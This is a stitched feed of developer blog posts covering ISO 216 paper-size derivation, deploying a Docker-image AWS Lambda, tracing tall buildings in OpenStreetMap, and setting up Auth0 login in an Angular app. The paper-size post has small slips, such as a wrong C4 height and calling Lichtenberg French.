<p>Reducing it finally gives us the ratio,</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/004.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/004.png" alt="x/y=√2" title="" loading="lazy" /></span>
<figcaption> </figcaption>
</figure>
Or in simplest terms, the ratio <code>x÷y = √2</code>.<p></p>
<p>The ratio of height to width of a standard sheet of paper is √2, or 1.414…</p>
<h2 id="calculate-the-size-of-an-a0-sheet" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#calculate-the-size-of-an-a0-sheet">Calculate the size of an A0 sheet</a></h2>
<div class="notice info">
Within each series, the <code>0</code> size is the starting point, which is why we’ll start at size A0, as the B and C series definitions depend on it.<br />
</div>
<p>The A0 size has an additional property, which is:</p>
<blockquote>
<p>The area of an A0 sheet is 1m<sup>2</sup></p>
</blockquote>
<p>That gives us the convenient formula <code>x*y=1</code>, and we can start substituting x as <code>1/y</code> and y as <code>1/x</code> in the above ratio.</p>
<p>We solve for x by substituting y=1/x.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/006.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/006.png" alt="x/y = √2 = x^2. x=4√2 " title="" loading="lazy" /></span>
<figcaption>Solving for <code>x</code></figcaption>
</figure><p></p>
<p>Which is <a href="https://www.wolframalpha.com/input/?i=4th+root+of+2"><code>1.1892071150...</code></a></p>
<p>And solve for y by substituting x=1/y.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/007.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/007.png" alt="y/x = 1/√2 = y^2. y=1/(4√2) " title="" loading="lazy" /></span>
<figcaption>Solving for <code>y</code></figcaption>
</figure><p></p>
<p>Which is <a href="https://www.wolframalpha.com/input/?i=1/(4th+root+of+2)"><code>0.8408964152...</code></a></p>
<p>The answer - an A0 sheet is 0.841m wide and 1.189m tall.<br />
As defined by the standard it’s 841mm x 1189mm.<br />
If you multiply these however, you will get <code>999,949</code> which isn’t exactly 1m<sup>2</sup> - this is due to the rounding necessary for instruments involved in the manufacturing and measuring process.</p>
<h3 id="other-a-sheet-sizes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#other-a-sheet-sizes">Other A sheet sizes</a></h3>
<p>At this point it should be pretty obvious: if we cut an A0 in half, we get an A1. If we halve an A1, we get an A2, and so on. The same applies to the B and C series.</p>
<p>We can now work our way down the remaining A sizes.</p>
<p>As illustrated earlier, the width of the previous size becomes the height of the next size. The height of the previous size is now halved.</p>
<table>
<thead>
<tr>
<th style="text-align:right">Size</th>
<th style="text-align:right">Width</th>
<th style="text-align:right">Height</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:right">A0</td>
<td style="text-align:right"><strong>841</strong>mm</td>
<td style="text-align:right"><strong>1189</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">A1</td>
<td style="text-align:right"><code>1189÷2=</code> <strong>594</strong>mm</td>
<td style="text-align:right"><strong>841</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">A2</td>
<td style="text-align:right"><code>841÷2=</code> <strong>420</strong>mm</td>
<td style="text-align:right"><strong>594</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">A3</td>
<td style="text-align:right"><code>594÷2=</code> <strong>297</strong>mm</td>
<td style="text-align:right"><strong>420</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">A4</td>
<td style="text-align:right"><code>420÷2=</code> <strong>210</strong>mm</td>
<td style="text-align:right"><strong>297</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">…</td>
<td style="text-align:right">…</td>
<td style="text-align:right">…</td>
</tr>
</tbody>
</table>
<div class="notice info">
This is an easy mental model to figure out paper sizes knowing the A0 starting point. For a proper equation for any given size, see <a href="https://en.wikipedia.org/wiki/ISO_216#A_series">Wikipedia</a>
</div>
<h2 id="b-series-sheets" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#b-series-sheets">B series sheets</a></h2>
<p>The B series paper is used for posters, books and newspapers, and is meant for use when the A series is not ‘suitable’. Its sizes are related to the A series - each B size is the geometrical mean between adjacent sizes in the A series. The earlier principle of aspect ratio still remains, so we still have <code>x÷y = √2</code>. Furthermore, the width of a B0 sheet is set to 1000mm exactly.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/008.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/008.png" alt="x/y = x/1000 = √2. x=1000*√2" title="" loading="lazy" /></span>
<figcaption>B0</figcaption>
</figure><p></p>
<p>B0 has a height of 1414mm and width of 1000mm.</p>
<p>As before, we can work our way down and figure out the remaining sizes.</p>
<table>
<thead>
<tr>
<th style="text-align:right">Size</th>
<th style="text-align:right">Width</th>
<th style="text-align:right">Height</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:right">B0</td>
<td style="text-align:right"><strong>1000</strong>mm</td>
<td style="text-align:right"><strong>1414</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">B1</td>
<td style="text-align:right"><code>1414÷2=</code> <strong>707</strong>mm</td>
<td style="text-align:right"><strong>1000</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">B2</td>
<td style="text-align:right"><code>1000÷2=</code> <strong>500</strong>mm</td>
<td style="text-align:right"><strong>707</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">B3</td>
<td style="text-align:right"><code>707÷2=</code> <strong>353</strong>mm</td>
<td style="text-align:right"><strong>500</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">B4</td>
<td style="text-align:right"><code>500÷2=</code> <strong>250</strong>mm</td>
<td style="text-align:right"><strong>353</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">…</td>
<td style="text-align:right">…</td>
<td style="text-align:right">…</td>
</tr>
</tbody>
</table>
<div class="notice info">
You can also verify these values as geometric means. For example, B1’s height will be the geometric mean between the heights of A0 and A1. That is, <a href="https://www.wolframalpha.com/input/?i=%E2%88%9A(841*594)"><code>√(841*594)</code></a>=707mm.
</div>
<h2 id="c-series-sheets" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#c-series-sheets">C Series Sheets</a></h2>
<p>C series sheets are meant for envelopes for A sheets, that is, a C4 envelope should be able to hold an A4 sheet without having to fold anything. A given C sheet size should be the geometric mean between its corresponding A and B sizes. As with others, the principle of aspect ratio still remains, so we still have <code>x÷y = √2</code>.</p>
<p>To figure out C0’s width, the geometric mean would be the square root of (A0’s width multiplied by B0’s width). <a href="https://www.wolframalpha.com/input/?i=%E2%88%9A(841*1000)"><code>√(841*1000)</code></a> = 917mm. Similarly, C0’s height is <a href="https://www.wolframalpha.com/input/?i=%E2%88%9A(1189*1414)"><code>√(1189*1414)</code></a>=1297mm.</p>
<p>As before, we can work our way down and figure out the remaining sizes.</p>
<table>
<thead>
<tr>
<th style="text-align:right">Size</th>
<th style="text-align:right">Width</th>
<th style="text-align:right">Height</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:right">C0</td>
<td style="text-align:right"><strong>917</strong>mm</td>
<td style="text-align:right"><strong>1297</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">C1</td>
<td style="text-align:right"><code>1297÷2=</code> <strong>648</strong>mm</td>
<td style="text-align:right"><strong>917</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">C2</td>
<td style="text-align:right"><code>917÷2=</code> <strong>458</strong>mm</td>
<td style="text-align:right"><strong>648</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">C3</td>
<td style="text-align:right"><code>648÷2=</code> <strong>324</strong>mm</td>
<td style="text-align:right"><strong>458</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">C4</td>
<td style="text-align:right"><code>458÷2=</code> <strong>229</strong>mm</td>
<td style="text-align:right"><strong>648</strong>mm</td>
</tr>
<tr>
<td style="text-align:right">…</td>
<td style="text-align:right">…</td>
<td style="text-align:right">…</td>
</tr>
</tbody>
</table>
<p>The three major paper series are done. In the event of civilizational collapse and loss of information we can reconstruct paper sizes, though the means and apetite for it may no longer exist.</p>
<h2 id="iso-standard" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#iso-standard">ISO Standard</a></h2>
<p>The A, B, and C sizes are actually an international standard defined in <a href="https://en.wikipedia.org/wiki/ISO_216">ISO 216</a>.</p>
<p>French professor <a href="https://en.wikipedia.org/wiki/Georg_Christoph_Lichtenberg">Georg Lichtenberg</a> was the first to <a href="https://www.cl.cam.ac.uk/~mgk25/lichtenberg-letter.html">propose the idea</a> of using the √2 based aspect ratio. France was using A2 and A3 in the early 1800s and Germany further developed it in 1922 closer to the system we know today. It was then rapidly adopted by several countries and became a standard in 1975.</p>
<h3 id="extensions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#extensions">Extensions</a></h3>
<p>Various countries have additional variations or extensions on the international standard. The Swedish standards body SIS takes it further with their definitions of the D, E, F and G formats. Just like B and C, they are also geometric progressions between other sizes. Japan’s JIS has different roundings for sizes, and B series sheets are 1.5 times A series sheets, instead of √2. China adds a custom D series which is almost but not quite following the √2 ratio.</p>
<h3 id="some-paper-sizes-are-arbitrary" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#some-paper-sizes-are-arbitrary">Some paper sizes are arbitrary</a></h3>
<p>As is customary with international standards, the US has its own separate specification for paper sizes, the US letter format, which Canada is also using as a de facto standard. The origins of the letter sizing is unknown and claimed to be a quarter of <a href="https://web.archive.org/web/20120220192919/http://www.afandpa.org/paper.aspx?id=511">“the average maximum stretch of an experienced vatman’s arms”</a>. The letter size was standardized to 8.5" x 11" in the 1980s.</p>
<p>Some countries such as Mexico, Chile, Columbia, and the Philippines, have officially adopted the ISO standard, but in practice use the US letter format.</p>
A hello world example using a Docker image in AWS Lambda2020-12-04T00:00:00Zhttps://code.mendhak.com/lambda-docker-hello-world/<p>AWS <a href="https://aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/">recently announced</a> the ability to use Docker images in your Lambda functions. Here I’ll go over a basic set of steps to get a simple example working.</p>
<h2 id="setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#setup">Setup</a></h2>
<p>You will need the latest version of the <a href="https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-linux.html#cliv2-linux-install">AWS CLI v2</a>.</p>
<p>Make sure you’ve <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html">configured AWS CLI</a> with an IAM user that can perform actions against your account.</p>
<p>You will need a role for Lambdas in your AWS account. If you haven’t created one already, run this and make note of the Role ARN that comes back.</p>
<pre class="language-bash"><code class="language-bash">aws iam create-role --role-name lambda-ex --assume-role-policy-document <span class="token string">'{
"Version": "2012-10-17",
"Statement": [{ "Effect": "Allow", "Principal": {"Service": "lambda.amazonaws.com"},
"Action": "sts:AssumeRole"}]
}'</span></code></pre>
<p>You will need to have Docker installed, obviously.</p>
<div class="notice info">
You can also follow along using the git repo with <a href="https://github.com/mendhak/lambda-docker-hello-world">sample code</a>.
</div>
<h2 id="write-your-basic-node-function" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#write-your-basic-node-function">Write your basic Node function</a></h2>
<p>Create a new directory and initialise a Node project</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">mkdir</span> <span class="token parameter variable">-p</span> lambda-docker-hello-world
<span class="token builtin class-name">cd</span> lambda-docker-hello-world
<span class="token function">npm</span> init <span class="token parameter variable">-f</span> </code></pre>
<p>Create an <code>index.js</code> file, with the usual Lambda style handler, and have the function return Hello World.</p>
<pre class="language-javascript"><code class="language-javascript">exports<span class="token punctuation">.</span><span class="token function-variable function">handler</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">event<span class="token punctuation">,</span> context</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span>
console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span>
console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>context<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">return</span> <span class="token string">"Hello World."</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<h2 id="build-the-docker-image" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#build-the-docker-image">Build the Docker image</a></h2>
<p>To make use of Docker in Lambda, AWS provides a <a href="https://hub.docker.com/r/amazon/aws-lambda-nodejs">specific Docker image for NodeJS</a> to base your image from.</p>
<p>Create a Dockerfile with these contents.</p>
<pre><code>FROM amazon/aws-lambda-nodejs:12
COPY index.js package.json ./
RUN npm install
CMD [ "index.handler" ]
</code></pre>
<p>Note that the command uses the Lambda filename.functionname ‘syntax’ to point at your <code>index.js</code>’s <code>handler</code> funciton.</p>
<p>Build the image:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> build <span class="token parameter variable">-t</span> lambda-docker-hello-world <span class="token builtin class-name">.</span></code></pre>
<div class="notice info">
There are also base images for <a href="https://hub.docker.com/r/amazon/aws-lambda-dotnet">.NET Core</a>, <a href="https://hub.docker.com/r/amazon/aws-lambda-go">Go</a>, and <a href="https://hub.docker.com/r/amazon/aws-lambda-python">Python</a> among others.
</div>
<h2 id="test-it-locally" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#test-it-locally">Test it locally</a></h2>
<p>Before you push the image up, you can run the Lambda locally first, in the container</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">--rm</span> <span class="token parameter variable">-p</span> <span class="token number">8080</span>:8080 lambda-docker-hello-world</code></pre>
<p>Once it’s running, in another window use the AWS CLI to invoke the local container.</p>
<pre class="language-bash"><code class="language-bash">aws lambda invoke <span class="token punctuation">\</span>
<span class="token parameter variable">--region</span> eu-west-1 <span class="token punctuation">\</span>
<span class="token parameter variable">--endpoint</span> http://localhost:8080 <span class="token punctuation">\</span>
--no-sign-request <span class="token punctuation">\</span>
--function-name <span class="token keyword">function</span> <span class="token punctuation">\</span>
--cli-binary-format raw-in-base64-out <span class="token punctuation">\</span>
<span class="token parameter variable">--payload</span> <span class="token string">'{"a":"b"}'</span> output.txt</code></pre>
<p>Have a look at the output.txt file using <code>cat output.txt</code> and it should contain the Hello World message. You can stop the container now.</p>
<h2 id="push-your-docker-image-to-ecr" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#push-your-docker-image-to-ecr">Push your Docker image to ECR</a></h2>
<p>At the time of writing, you can only push images to a <em>private</em> ECR repository. You can’t use Docker Hub, nor can you use the new <a href="https://gallery.ecr.aws/">ECR Public Gallery</a>.</p>
<p>Login to your ECR Repository. Substitute the value below for your own ECR’s registry URI.</p>
<pre><code>aws ecr get-login-password --region eu-west-1 | docker login --username AWS --password-stdin xxxxxxxxx.dkr.ecr.eu-west-1.amazonaws.com
</code></pre>
<p>Retag the image we built above to match ECR’s format. Then push the image up.</p>
<pre><code>docker tag lambda-docker-hello-world:latest xxxxxxxxx.dkr.ecr.eu-west-1.amazonaws.com/lambda-docker-hello-world:latest
docker push xxxxxxxxx.dkr.ecr.eu-west-1.amazonaws.com/lambda-docker-hello-world:latest
</code></pre>
<h2 id="create-the-lambda-function" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#create-the-lambda-function">Create the Lambda function</a></h2>
<p>Now that the image is in place, you can create the Lambda function in your AWS account.</p>
<p>Substitute the <code>role</code> below for your Lambda’s IAM role. The <code>ImageUri</code> needs to point at the image that you pushed to ECR.</p>
<pre><code>aws lambda create-function \
--package-type Image \
--function-name lambda-docker-hello-world \
--role arn:aws:iam::xxxxxxxxx:role/lambda-ex \
--code ImageUri=xxxxxxxxx.dkr.ecr.eu-west-1.amazonaws.com/lambda-docker-hello-world:latest
</code></pre>
<h2 id="invoke-the-lambda-function" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#invoke-the-lambda-function">Invoke the Lambda function</a></h2>
<p>Finally, you can call the function.</p>
<pre class="language-bash"><code class="language-bash">aws lambda <span class="token punctuation">\</span>
<span class="token parameter variable">--region</span> eu-west-1 invoke <span class="token punctuation">\</span>
--function-name lambda-docker-hello-world <span class="token punctuation">\</span>
--cli-binary-format raw-in-base64-out <span class="token punctuation">\</span>
<span class="token parameter variable">--payload</span> <span class="token string">'{"a":"b"}'</span> <span class="token punctuation">\</span>
output.txt</code></pre>
<p>Again, have a look at the output.txt file using <code>cat output.txt</code> and it should contain the Hello World message.</p>
<h2 id="notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/lambda-docker-hello-world/#notes">Notes</a></h2>
<p>The <a href="https://aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/">introductory announcement from AWS</a> about Lambda with container image support contained too much information, and a lot of it was tangential. I found it very confusing, so I felt it useful to write a basic introduction. Even then the normal AWS CLI documentation to create a function with a Docker image was very poor and lacking.</p>
<p>The workflow involved with developing locally and then pushing up, is very similar to that of <a href="https://github.com/lambci/docker-lambda">LambCI’s Lambda image</a>. A big advantage of LambCI’s offering is that the images are very friendly towards local development. For example their Node image can reload if you change any files, you don’t need to rebuild the image.</p>
OpenStreetMap tip: tall buildings2020-11-17T00:00:00Zhttps://code.mendhak.com/openstreetmap-tall-buildings/<p>When mapping tall buildings, it’s important to ensure that the drawn area matches the building’s footprint - where it intersects with the earth.</p>
<p>It’s a normal habit to just trace the roof of a building and move on to the next one. However you need to be careful with tall buildings, just drawing the roof can be misleading, incorrect and could overlap other structures. Here’s how to ensure that the buildings are mapped correctly.</p>
<p>Take this example, there are two tall buildings here, and they’re at an angle, not directly overhead.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-tall-buildings/001.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-tall-buildings/001.png" alt="Overhead aerial image of two tall buildings at an angle" title="" loading="lazy" /></span>
<figcaption>Two tall buildings</figcaption>
</figure><p></p>
<p>The correct way to map these would be to first trace the roof as you normally do.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-tall-buildings/002.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-tall-buildings/002.png" alt="Using OSM editor to trace the top of the building" title="" loading="lazy" /></span>
<figcaption>Trace the roof</figcaption>
</figure><p></p>
<p>Now right click the area, and select Move (key <code>M</code>), and then move the area down until it touches the bottom of the building.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-tall-buildings/003.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-tall-buildings/003.png" alt="Moving the traced area to the base of the buildings" title="" loading="lazy" /></span>
<figcaption>Move to earth</figcaption>
</figure><p></p>
<p>That’s it, this now ensures that the OpenStreetMap map will show the correct position of the building, especially in relation to others around it.</p>
<p>It does appear a little odd if you’re not familiar with this technique, but once you know of it, it explains why some buildings in some areas appear ‘off’ their imagery, while some are right on their buildings - it’s likely because someone else has done the same shifting.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-tall-buildings/004.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-tall-buildings/004.png" alt="Zoomed out view of the mapped buildings" title="" loading="lazy" /></span>
<figcaption>Zoom out</figcaption>
</figure><p></p>
<p>I was given a very useful tip while working on some <a href="https://www.hotosm.org/">OpenStreetMap tasks</a> and was able to understand it well, thanks to this helpful video which goes into a little more detail.</p>
<div class="video" style="">
<iframe src="https://www.youtube.com/embed/JAPiGntG6fs" frameborder="0" allowfullscreen=""></iframe>
</div>
Setting up an Auth0 secured Angular application with dynamic runtime loaded configuration2020-10-23T00:00:00Zhttps://code.mendhak.com/angular-dynamic-configuration-with-auth0/<p><em>How to set up an Angular application. Secured with Auth0 logins and protected API requests. With the configuration loaded dynamically via a web request.</em></p>
<p>When setting up a new Angular project, one of the first things you should do is set up its security integration and load application configuration dynamically from a web request.</p>
<p>Setting up the login and protecting API calls with OAuth up front is useful because they are non-trivial tasks, which makes it much less painful in the beginning, as opposed to adjusting the application for it later.</p>
<p>Loading the frontend configuration from your backend API is useful as it allows building the frontend once and deploying everywhere by removing environment specific settings from the frontend code; since the backend API runs serverside, it can pick up and expose any environment variables as needed to the frontend.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/001.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/001.png" alt="Concept" loading="lazy" /></span>
<figcaption>Concept</figcaption>
</figure><p></p>
<p>This writeup is accompanied by a sample repo, you can jump straight to it and run it to see the above concepts in action.</p>
<p><a href="https://github.com/mendhak/angular-dynamic-configuration-with-auth0"><button>Angular Auth0 Sample Repo</button></a></p>
<h2 id="generate-a-new-angular-application" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#generate-a-new-angular-application">Generate a new Angular application</a></h2>
<p>Create a new project directory, then generate the frontend Angular application using the <code>ng</code> cli, <a href="https://code.mendhak.com/npm-install-globally-is-bad/">remember to use npx</a></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">mkdir</span> myproject
<span class="token builtin class-name">cd</span> myproject
npx <span class="token parameter variable">-p</span> @angular/cli ng <span class="token parameter variable">--style</span><span class="token operator">=</span>scss <span class="token parameter variable">--routing</span><span class="token operator">=</span>true <span class="token parameter variable">--skipGit</span><span class="token operator">=</span>true new frontend</code></pre>
<p>Run it, and browse <a href="http://localhost:4200/">http://localhost:4200/</a>, to make sure it’s working as expected.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token parameter variable">--prefix</span> frontend start</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/002.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/002.png" alt="New Angular Application" loading="lazy" /></span>
<figcaption>New Angular Application</figcaption>
</figure><p></p>
<h2 id="auth0-com-application-setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#auth0-com-application-setup">Auth0.com Application Setup</a></h2>
<p>If you haven’t already, sign up for a free Auth0.com account and create a tenant. For this example I have created <code>mydemotenant</code>.<br />
In the tenant’s Applications settings, create a new application of type Single Page Application. This application will represent your Angular application.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/003.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/003.png" alt="New Auth0 Application" loading="lazy" /></span>
<figcaption>New Auth0 Application</figcaption>
</figure><p></p>
<p>Auth0 generates a Client ID for you which you will need shortly.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/004.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/004.png" alt="Auth0 Client ID" loading="lazy" /></span>
<figcaption>Auth0 Client ID</figcaption>
</figure><p></p>
<p>You’ll also need to tell Auth0 where your application’s requests will be coming from. On the application page, add <code>http://localhost:4200</code> to the Allowed Callback URLs, Logout URLs and Web Origins, then click <em>Save Changes</em>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-dynamic-configuration-with-auth0/005.png">
<img src="https://code.mendhak.com/assets/images/angular-dynamic-configuration-with-auth0/005.png" alt="Allowed URLs" loading="lazy" /></span>
<figcaption>Allowed URLs</figcaption>
</figure><p></p>
<h2 id="angular-integration-with-auth0" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#angular-integration-with-auth0">Angular integration with Auth0</a></h2>
<p>Now configure the Angular application to interact with Auth0. Auth0 provides a <a href="https://github.com/auth0/auth0-angular">convenience library, auth0-angular</a> which takes care of a lot of integration aspects for you.</p>
<p>Integrating will require installing the library, configuring the library in the Angular module, then calling its login/logout methods. Start by installing the library:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token parameter variable">--prefix</span> frontend <span class="token function">install</span> @auth0/auth0-angular</code></pre>
<p>Next, in <code>app.module.ts</code>, import the library.</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> AuthModule <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@auth0/auth0-angular'</span><span class="token punctuation">;</span></code></pre>
<p>In the <code>imports:</code> section, add a line for AuthModule, substituting your Domain and ClientId from above. This will be made dynamic later (you should use different tenants for testing and production), but hardcoded for now.</p>
<pre class="language-typescript"><code class="language-typescript">AuthModule<span class="token punctuation">.</span><span class="token function">forRoot</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
domain<span class="token operator">:</span> <span class="token string">'mydemotenant.eu.auth0.com'</span><span class="token punctuation">,</span>
clientId<span class="token operator">:</span> <span class="token string">'89eVpU4Ixox4Llx6j7466L7pnK9lO4A8'</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span></code></pre>
<h3 id="logging-in-and-out" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-dynamic-configuration-with-auth0/#logging-in-and-out">Logging in and out</a></h3>
<p>In <code>app.component.ts</code>, import the AuthService.</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">import</span> <span class="token punctuation">{</span> AuthService <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">'@auth0/auth0-angular'</span><span class="token punctuation">;</span></code></pre>
<p>Inject AuthService in the constructor, and set up the login and logout methods.</p>
<pre class="language-typescript"><code class="language-typescript"> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token keyword">public</span> auth<span class="token operator">:</span> AuthService<span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span>
<span class="token function">loginWithRedirect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">:</span> <span class="token keyword">void</span> <span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>auth<span class="token punctuation">.</span><span class="token function">loginWithRedirect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">logout</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">:</span> <span class="token keyword">void</span> <span class="token punctuation">{</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>auth<span class="token punctuation">.</span><span class="token function">logout</span><span class="token punctuation">(</span><span class="token punctuation">{</span> returnTo<span class="token operator">:</span> window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>origin <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<p>In <code>app.component.html</code>, delete everything except the <code><router-outlet></router-outlet></code>. Then add a bit of code which logs the user in/out, and display some info about the user.</p>
<pre class="language-html"><code class="language-html">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>p</span><span class="token punctuation">></span></span>This is the 'home page'<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>p</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>button</span> <span class="token attr-name">*ngIf</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>(auth.isAuthenticated$ | async) === false<span class="token punctuation">"</span></span> <span class="token attr-name">(click)</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>loginWithRedirect()<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
Log in
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>button</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>button</span> <span class="token attr-name">*ngIf</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>auth.isAuthenticated$ | async<span class="token punctuation">"</span></span> <span class="token attr-name">(click)</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>logout()<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
Log out
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>button</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">*ngIf</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>auth.user$ | async as user<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
Some info about you:
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>ul</span> <span class="token attr-name">*ngIf</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>auth.user$ | async as user<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>li</span><span class="token punctuation">></span></span>Name: {{ user.name }}<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>li</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>li</span><span class="token punctuation">></span></span>Email: {{ user.email }}<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>li</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>ul</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span>
</code></pre>
<p>Reload the page and click the Login button. If everything is configured correctly, you are redirected to mydemotenant on Auth0 where you can login/signup and come back to the application.</p>
